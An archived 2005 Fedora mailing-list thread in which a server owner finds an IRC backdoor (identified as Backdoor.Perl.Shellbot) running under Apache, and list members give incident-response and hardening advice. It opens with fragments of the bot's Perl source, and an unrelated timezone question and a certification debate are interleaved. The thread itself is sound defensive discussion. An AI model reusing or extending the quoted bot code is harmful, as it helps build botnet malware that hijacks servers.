# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub Status { my $socket = shift; my $sock_tipo = $DCC{$socket}{tipo}; unless (lc($sock_tipo) eq "chat") { my $nick = $DCC{$socket}{nick}; my $arquivo = $DCC{$socket}{arquivo}; my $itime = $DCC{$socket}{itime}; my $ftime = time; my $status = $DCC{$socket}{status}; $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte}; my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0; $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv); if ($rate =~ /^(\d+).(\d)(\d)(\d)/) { $r_duv = $3; $r_duv++ if $4 >= 5; $rate = "$1.$2"."$r_duv"; } if ($porcen =~ /^(\d+).(\d)(\d)(\d)/) { $p_duv = $3; $p_duv++ if $4 >= 5; $porcen = "$1.$2"."$p_duv"; } return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); }
return(0); }
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr { my ($address) = @_;
chomp $address; # just in case, sigh. if ($address =~ /^\d+$/) { return inet_ntoa(pack "N", $address); } elsif ($address =~ /^[12]?\d{1,2}.[12]?\d{1,2}.[12]?\d{1,2}.[12]?\d{1,2}$/) { return $address; } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation! return inet_ntoa(((gethostbyname($address))[4])[0]); } else { return; } }
On Mar 2, 2005, at 5:41 PM, Alexander Dalloz wrote:
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:
processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Port 6667 is default standard port for an irc server. By any chance, do you run Apache and a phpBB forum?
Alexander
-- Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora Core 2 GNU/Linux on Athlon with kernel 2.6.10-1.14_FC2smp Serendipity 23:40:52 up 9 days, 10:49, load average: 0.91, 0.56, 0.39 -- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
On Wed, Mar 02, 2005 at 06:12:05PM -0500, Chris Strzelczyk wrote:
if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION rootworm-$VERSAO in perl \001");
Oh dear. Seems to connect to undernet irc, and wait for commands botnet-style by the looks of things (caveat: my perl-fu is weak).
What public facing scripts were you running on that server? You've already ruled out phpBB, but anything else ?
If you haven't done so already, I'd kill that process, take the box offline for forensic purposes, and don't put it back online until it's been reinstalled.
Dave
On Wed, 2 Mar 2005 18:12:05 -0500, Chris Strzelczyk cstrzelczyk@nobletechnology.net wrote:
Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
[snip]
You have been owned. You don't know the extent or how the intrusion happened. Any ID and password on that system can be considered compromised. The system could have been used as a stepping stone to get to other systems.
The only safe bet is to save your content (review it to make sure it was not compromised), and reload the server. Lock it down including limiting the daemons running and secure those.
Change passwords to strong passwords on all accounts on all systems. Lock down your perimeter.
This could turn into a book, but this is what I recommend to start with.
Reload and secure your system
On Wed, 2005-03-02 at 18:12 -0500, Chris Strzelczyk wrote:
Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
<snip>
Look in /var/tmp - anything there called aVe or uselib24 or bots.txt? Also, look in your /var/log/httpd area for anything weird in access_log or error_log.
Thomas
On Mar 3, 2005, at 12:11 AM, Thomas Cameron wrote:
<snip>
Look in /var/tmp - anything there called aVe or uselib24 or bots.txt? Also, look in your /var/log/httpd area for anything weird in access_log or error_log.
Yes, I did have a couple of PERL programs in /var/tmp. One was called https and it is attached. As far as I understand this vulnerability it is limited to the user Apache is run by correct?
Thanks -cs
How do I check what timezone the ftp daemon is running under? my wsftp.conf file doesn't refer to any timezone setting Alan
On Thu, 3 Mar 2005 16:52:30 +1100 "Alan McDonald" alan@meta.com.au wrote:
How do I check what timezone the ftp daemon is running under? my wsftp.conf file doesn't refer to any timezone setting Alan
-- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
The time zone is kept in variable $TZ. If that's not set it is implementation dependent. See man timezone.
Look in /var/tmp - anything there called aVe or uselib24 or bots.txt? Also, look in your /var/log/httpd area for anything weird in access_log or error_log.
Yes, I did have a couple of PERL programs in /var/tmp. One was called https and it is attached. As far as I understand this vulnerability it is limited to the user Apache is run by correct?
Well, sort of. Once someone has put something on your system that you didn't give them permission to, it's their box. Period. So even though they might have uploaded something as a non-privileged users, it's not too far to them rooting your system.
Back up your data, rebuild, and restore data. It sucks, but it's really the best idea.
Thomas
On Thu, 2005-03-03 at 00:11 -0500, Chris Strzelczyk wrote:
On Mar 3, 2005, at 12:11 AM, Thomas Cameron wrote:
<snip>
Look in /var/tmp - anything there called aVe or uselib24 or bots.txt? Also, look in your /var/log/httpd area for anything weird in access_log or error_log.
Yes, I did have a couple of PERL programs in /var/tmp. One was called https and it is attached. As far as I understand this vulnerability it is limited to the user Apache is run by correct?
You don't say which distribution this web server was running, but I suspect that if your Apache had been running under SELinux then the attacker would not have been able to run any scripts from /tmp or /var/tmp. So, when you rebuild the server, it would be well worth considering using SELinux.
Paul.
On Thu, 2005-03-03 at 08:18 +0000, Paul Howarth wrote:
You don't say which distribution this web server was running, but I suspect that if your Apache had been running under SELinux then the attacker would not have been able to run any scripts from /tmp or /var/tmp. So, when you rebuild the server, it would be well worth considering using SELinux.
You don't need SELinux for this, you could always mount /tmp with noexec flag.
Tom
Thomas Zehetbauer wrote:
On Thu, 2005-03-03 at 08:18 +0000, Paul Howarth wrote:
You don't say which distribution this web server was running, but I suspect that if your Apache had been running under SELinux then the attacker would not have been able to run any scripts from /tmp or /var/tmp. So, when you rebuild the server, it would be well worth considering using SELinux.
You don't need SELinux for this, you could always mount /tmp with noexec flag.
And /var too, provided they're separate partitions. Another good reason not to install into just one big / partition.
Paul.
And /var too, provided they're separate partitions. Another good reason not to install into just one big / partition.
Paul.
I do mount my /usr partition as ro and have a separate /usr/local partition. My /tmp and /var are separate partitions as well. I will take special care when mounting these on my new server.
-cs
Hi
I do mount my /usr partition as ro and have a separate /usr/local partition. My /tmp and /var are separate partitions as well. I will take special care when mounting these on my new server.
Fedora core 3 and RHEL 4/clones have SELinux protection for apache. You might want to look into it
-----Original Message----- From: fedora-list-bounces@redhat.com [mailto:fedora-list- bounces@redhat.com] On Behalf Of Chris Strzelczyk Sent: 03 March 2005 14:46 To: For users of Fedora Core releases Subject: Re: Security Breach ?
And /var too, provided they're separate partitions. Another good reason not to install into just one big / partition.
Paul.
I do mount my /usr partition as ro and have a separate /usr/local partition. My /tmp and /var are separate partitions as well. I will take special care when mounting these on my new server.
-cs
-- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
I shouldn't worry too much Chris - most of us have been there.
Chin up! :)
Daz
On Thu, 2005-03-03 at 12:26 +0000, Paul Howarth wrote:
Thomas Zehetbauer wrote:
On Thu, 2005-03-03 at 08:18 +0000, Paul Howarth wrote:
You don't say which distribution this web server was running, but I suspect that if your Apache had been running under SELinux then the attacker would not have been able to run any scripts from /tmp or /var/tmp. So, when you rebuild the server, it would be well worth considering using SELinux.
You don't need SELinux for this, you could always mount /tmp with noexec flag.
And /var too, provided they're separate partitions. Another good reason not to install into just one big / partition.
Paul.
All good points, but most people on this list are likely scratching there heads wondering what you are talking about.
I have not had a chance to read up on SELinux, but it is available to the average person on this list to enable and from what I have heard can provide an extra measure of security. If more secure mount options were configured at install some of these issues could be alleviated, but by default there are too few partitions created to make this possible. On a regular basis I deal with "Experts" who run servers with more holes than a spaghetti strainer. If SELinux can make it simple to assist in "hardening" a server, then it may be a better solution than adding a noexec flag to a partition that is not created by any default install options. Since most people install with only two or three partitions including the swap partition, they would have to reinstall to implement secure mount options.
On Thu, 3 Mar 2005 00:11:26 -0500, Chris Strzelczyk cstrzelczyk@nobletechnology.net wrote:
On Mar 3, 2005, at 12:11 AM, Thomas Cameron wrote:
<snip>
Look in /var/tmp - anything there called aVe or uselib24 or bots.txt? Also, look in your /var/log/httpd area for anything weird in access_log or error_log.
Yes, I did have a couple of PERL programs in /var/tmp. One was called https and it is attached. As far as I understand this vulnerability it is limited to the user Apache is run by correct?
The key question is "As far as I understand this vulnerability it is limited to the user Apache is run by correct?"
The answer is you don't know how far they went.
Once you have local access then you can use a second exploit to get root access, or attack another system using the owned system. If the user apache was not configured properly then they may have been able to steal the shadow file and crack your passwords.
Please do everyone a favor, if you have not already done this. Pull the plug, yes I mean this and I mean right now. Don't power it back up until you have the CD's to reload it, without a network connection. You have seen the rest in other posts.
May be it will help if you understand that CISSP is Certified Information Systems Security Professional and requires a minimum of 2 years experience and passing a 6 hour exam. In other words I'm not just making this up.
The key question is "As far as I understand this vulnerability it is limited to the user Apache is run by correct?"
The answer is you don't know how far they went.
Once you have local access then you can use a second exploit to get root access, or attack another system using the owned system. If the user apache was not configured properly then they may have been able to steal the shadow file and crack your passwords.
This is very true. I am building another box to replace this one which will happen today. Mean while I am monitoring connections on the box. This is the best I can do to limit down time. I have seen no suspicious activity since. "As far as I know".
Please do everyone a favor, if you have not already done this. Pull the plug, yes I mean this and I mean right now. Don't power it back up until you have the CD's to reload it, without a network connection. You have seen the rest in other posts.
Yes the box will be going down. I agree this is the best way to be sure is wipe the drive clean.
May be it will help if you understand that CISSP is Certified Information Systems Security Professional and requires a minimum of 2 years experience and passing a 6 hour exam. In other words I'm not just making this up.
I know what CISSP means I work right next to one. But thanks :) Someday I would like to take the exam but I'm only 25 and I figure I can use more experience. Acutally I figure I need more experience, I'll put this in the lessons learned column.
-- Leonard Isham, CISSP Ostendo non ostento.
-- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
Am Do, den 03.03.2005 schrieb Chris Strzelczyk um 15:43:
May be it will help if you understand that CISSP is Certified Information Systems Security Professional and requires a minimum of 2 years experience and passing a 6 hour exam. In other words I'm not just making this up.
I know what CISSP means I work right next to one. But thanks :) Someday I would like to take the exam but I'm only 25 and I figure I can use more experience. Acutally I figure I need more experience, I'll put this in the lessons learned column.
Chris,
at least you detected the intrusion your own and not by getting complaints from others about your host acting as a hostile drone. I think this is much more than the average Linux user would be able to. Well, this is no excuse for not having maximum security with a host public serving to the net with direct internet connection. But it shows you observe your box and check for unusual activities.
Alexander
On Thu, 03 Mar 2005 16:56:02 +0100, Alexander Dalloz ad+lists@uni-x.org wrote:
Am Do, den 03.03.2005 schrieb Chris Strzelczyk um 15:43:
May be it will help if you understand that CISSP is Certified Information Systems Security Professional and requires a minimum of 2 years experience and passing a 6 hour exam. In other words I'm not just making this up.
I know what CISSP means I work right next to one. But thanks :) Someday I would like to take the exam but I'm only 25 and I figure I can use more experience. Acutally I figure I need more experience, I'll put this in the lessons learned column.
Chris,
at least you detected the intrusion your own and not by getting complaints from others about your host acting as a hostile drone. I think this is much more than the average Linux user would be able to. Well, this is no excuse for not having maximum security with a host public serving to the net with direct internet connection. But it shows you observe your box and check for unusual activities.
[snip]
I second that!
On Thu, 2005-03-03 at 09:43 -0500, Chris Strzelczyk wrote: ...snip...
May be it will help if you understand that CISSP is Certified Information Systems Security Professional and requires a minimum of 2 years experience and passing a 6 hour exam. In other words I'm not just making this up.
I know what CISSP means I work right next to one. But thanks :) Someday I would like to take the exam but I'm only 25 and I figure I can use more experience. Acutally I figure I need more experience, I'll put this in the lessons learned column.
...snip... It's just alphabet soup.
I have worked in the industry for 18 years, and have seen more experts with alphabet soup go through our doors than I can stand.
I am not trying to knock you, or the CISSP program, but in my experience most accreditation systems are just money making scams. As the saying goes "the proof is in the pudding", if you are capable of securing, keeping a machine secure and fixing machines that have been compromised, then you can claim to be experienced, and it doesn't matter what letters you put after your name.
On Mar 3, 2005, at 1:19 PM, Guy Fraser wrote:
...snip... It's just alphabet soup.
I have worked in the industry for 18 years, and have seen more experts with alphabet soup go through our doors than I can stand.
I am not trying to knock you, or the CISSP program, but in my experience most accreditation systems are just money making scams. As the saying goes "the proof is in the pudding", if you are capable of securing, keeping a machine secure and fixing machines that have been compromised, then you can claim to be experienced, and it doesn't matter what letters you put after your name.
I agree with you 100% .
It does usually help when getting hired or when freelancing since most CIO's are all about the certifications. I do agree that with many certifications you can be a total dud with extra letters to your name.
-cs
Guy Fraser wrote:
I am not trying to knock you, or the CISSP program, but in my experience most accreditation systems are just money making scams. As the saying goes "the proof is in the pudding", if you are capable of securing, keeping a machine secure and fixing machines that have been compromised, then you can claim to be experienced, and it doesn't matter what letters you put after your name.
I second that. However, the way HR departments work can be described with this simple command:
grep -v alphabet-soup list-of-applicants.txt > reject-list.txt
Basically, very often you get screened out long before anybody competent gets a chance to look into your resume. So it is up to you. Not wasting time and money on some alphabet soup and lowering your chances of finding a job, or spending some time and money on some sily title. Sometimes I think this is conspiracy between HR departments and certification organizations... Whatever it is, it is very profitable business. Just look how much Microsoft is charging for classes and certificates...
BOFH... Hmmmm... Wonder how that would look in my resume, gota try it out at least once ;-)
On Thu, 2005-03-03 at 14:45 -0600, Aleksandar Milivojevic wrote:
Guy Fraser wrote:
I am not trying to knock you, or the CISSP program, but in my experience most accreditation systems are just money making scams. As the saying goes "the proof is in the pudding", if you are capable of securing, keeping a machine secure and fixing machines that have been compromised, then you can claim to be experienced, and it doesn't matter what letters you put after your name.
I second that. However, the way HR departments work can be described with this simple command:
grep -v alphabet-soup list-of-applicants.txt > reject-list.txt
Basically, very often you get screened out long before anybody competent gets a chance to look into your resume. So it is up to you. Not wasting time and money on some alphabet soup and lowering your chances of finding a job, or spending some time and money on some sily title. Sometimes I think this is conspiracy between HR departments and certification organizations... Whatever it is, it is very profitable business. Just look how much Microsoft is charging for classes and certificates...
That was absolutely my point.
I am the senior administrator at an ISP, when I started all of our servers except one Sun Sparc running Solaris and one Dec VAX running OSF/1 were running NT, even a Dec Alpha was running NT. I quickly moved many of the servers to SlackWare then Redhat until the SCO lawsuite made management uncomfortable. Now we have one W2K server for customers requiring ASP all of our other production servers are running BSD. We had a number of MCSEs since I started, and not a single one was a decent administrator. Most of them could list the OSI layers, but could not figure out how to configure a firewall. They tried to replace some of my Linux and Unix machines with "more manageable" windows machines, fortunately the constant stream of blue screens during testing, was not managements favourite colour. I nicknamed the testing room as "the blue room" to the disappointment of the MCSE at the time. The nickname stuck, that MCSE didn't. We had a couple more MCSEs after that, but now management is convinced MCSE is a four letter word for danger, or my favourite "Most Costs Shall Escalate".
BOFH... Hmmmm... Wonder how that would look in my resume, gota try it out at least once ;-)
I thought that should get a laugh, one of the guys at work even wears the tee-shirt.
On Thu, 2005-03-03 at 14:33 -0700, Guy Fraser wrote:
On Thu, 2005-03-03 at 14:45 -0600, Aleksandar Milivojevic wrote:
Guy Fraser wrote:
I am not trying to knock you, or the CISSP program, but in my experience most accreditation systems are just money making scams. As the saying goes "the proof is in the pudding", if you are capable of securing, keeping a machine secure and fixing machines that have been compromised, then you can claim to be experienced, and it doesn't matter what letters you put after your name.
I second that. However, the way HR departments work can be described with this simple command:
grep -v alphabet-soup list-of-applicants.txt > reject-list.txt
Basically, very often you get screened out long before anybody competent gets a chance to look into your resume. So it is up to you. Not wasting time and money on some alphabet soup and lowering your chances of finding a job, or spending some time and money on some sily title. Sometimes I think this is conspiracy between HR departments and certification organizations... Whatever it is, it is very profitable business. Just look how much Microsoft is charging for classes and certificates...
That was absolutely my point.
I am the senior administrator at an ISP, when I started all of our servers except one Sun Sparc running Solaris and one Dec VAX running OSF/1 were running NT, even a Dec Alpha was running NT. I quickly moved many of the servers to SlackWare then Redhat until the SCO lawsuite made management uncomfortable. Now we have one W2K server for customers requiring ASP all of our other production servers are running BSD. We had a number of MCSEs since I started, and not a single one was a decent administrator. Most of them could list the OSI layers, but could not figure out how to configure a firewall. They tried to replace some of my Linux and Unix machines with "more manageable" windows machines, fortunately the constant stream of blue screens during testing, was not managements favourite colour. I nicknamed the testing room as "the blue room" to the disappointment of the MCSE at the time. The nickname stuck, that MCSE didn't. We had a couple more MCSEs after that, but now management is convinced MCSE is a four letter word for danger, or my favourite "Most Costs Shall Escalate".
BOFH... Hmmmm... Wonder how that would look in my resume, gota try it out at least once ;-)
I thought that should get a laugh, one of the guys at work even wears the tee-shirt.
But you see....That is an inaccurate statement. Just because the MCSEs that you met were morons doesn't mean that all of us are. I happen to be an MCSE. I also happen to be a large proponent of Linux, Unix, BSD, and Open Source. I believe in the right tool for the job.
Microsoft Windows as the desktop OS and domain authentication server makes sense for ease of administration and interoperability between the server and desktop. However, I would never on a dare suggest that Windows makes the best solution as a database server, a web server, a firewall server, or a myriad of other uses that Unix/BSD/Linux is MUCH better suited for.
My home LAN is a prime example of my philosophy. My main PC is a Windows XP box. My main server, for authentication and file storage is a Windows 2003 domain controller. My firewall, intranet server which is also running my database, and BBS server are running Linux.
Every place I have ever worked for or contracted out to I have always suggested the most applicable OS for the situation. Sometimes that's Windows. Most times it is not. Just because someone has an MCSE doesn't automatically make them an OS bigot, nor does it make them a moron.
Chris Strzelczyk wrote:
I know what CISSP means I work right next to one. But thanks :) Someday I would like to take the exam but I'm only 25 and I figure I can use more experience. Acutally I figure I need more experience, I'll put this in the lessons learned column.
You know, the most important thing in IT security is to be able to detect when security is breached. And you got that part all right. IT security is no different than real security (for example, if you need to secure a bank): prevention, detection, and reaction.
There is no ultimately secure system. Such thing doesn't exist. There are flaws in every system, and how often the system you administer will be owned is a mater of statistical probability. Of course, the better you are in "prevention", the probability of somebody braking in will be lower. But it is impossible to get that probability to zero.
So to make long story short, the fact that you were able to detect something is going wrong is far more important than the fact that somebody broke into the system.
Hi Chris,
Chris Strzelczyk schrieb:
Yes, I did have a couple of PERL programs in /var/tmp. One was called https and it is attached.
this is what my AV found:
Dateianlage Name des Virus durchgeführte Maßnahmen
https Backdoor.Perl.Shellbot.a Removed
http://www.viruslist.com/en/viruses/encyclopedia?virusid=56186
I hope, the name of the bot can help you to trace the way your system got infected...
Stefan
Well, I'm not sure on the relevance of my comment, but here it goes: the script is brazilian-portuguese coded...
On Wed, 2 Mar 2005 18:12:05 -0500, Chris Strzelczyk cstrzelczyk@nobletechnology.net wrote:
Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
#!/usr/bin/perl # ...
-- Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora Core 2 GNU/Linux on Athlon with kernel 2.6.10-1.14_FC2smp Serendipity 23:40:52 up 9 days, 10:49, load average: 0.91, 0.56, 0.39 -- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
-- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
On Wed, 2005-03-02 at 18:12 -0500, Chris Strzelczyk wrote:
Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
A perl script does not have to be executable to run. Perl can run the contents simply by reading it, without having execute permissions.
The same thing applies to shell scripts, python scripts, etc.
#!/usr/bin/perl
As others have already said, That box is now "owned" and the only certain way to wipe out the intrusion is to do a bare bones reinstall.
Chris Strzelczyk wrote:
Hello,
Upon checking my MRTG stats on a webserver I am running I found my traffic to be up considerably and the server to be a bit slow. After taking a look at my active connections to processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash
Login shell connected to IRC server? Not likely. Are users allowed to login to this machine? If they are, it might be some regular user who installed eggdrop or some similar IRC bot, and named it "-bash" in an naive attempt to hide it.
To find out who is running it, try out:
ps -ef | grep 16035
Or to see what files the process currently keeps open (might help to find where the binary is located):
lsof -p 16035
Try to nail down the user who is running it, and contact him to confirm that he did that. If you can't confirm, or user is unaware that IRC bot is running under his account, chances are somebody broke into the machine.
If users are not allowed to have shell accounts on the machine, most likely somebody broke to your machine and installed IRC bot waiting for remote commands from some IRC channel.
As for rootkit checking tools, they are not always efficient in detecting root kits. Especially when kernel modules are used to hide them. In that case, you might need to boot from Rescue CD to really see what you have on the disk... Althoug, if you are able to see that "-bash" process with netstat, most likely there's no kernel module installed (on the other hand, it might be lousy written module that doesn't manage to hide everything).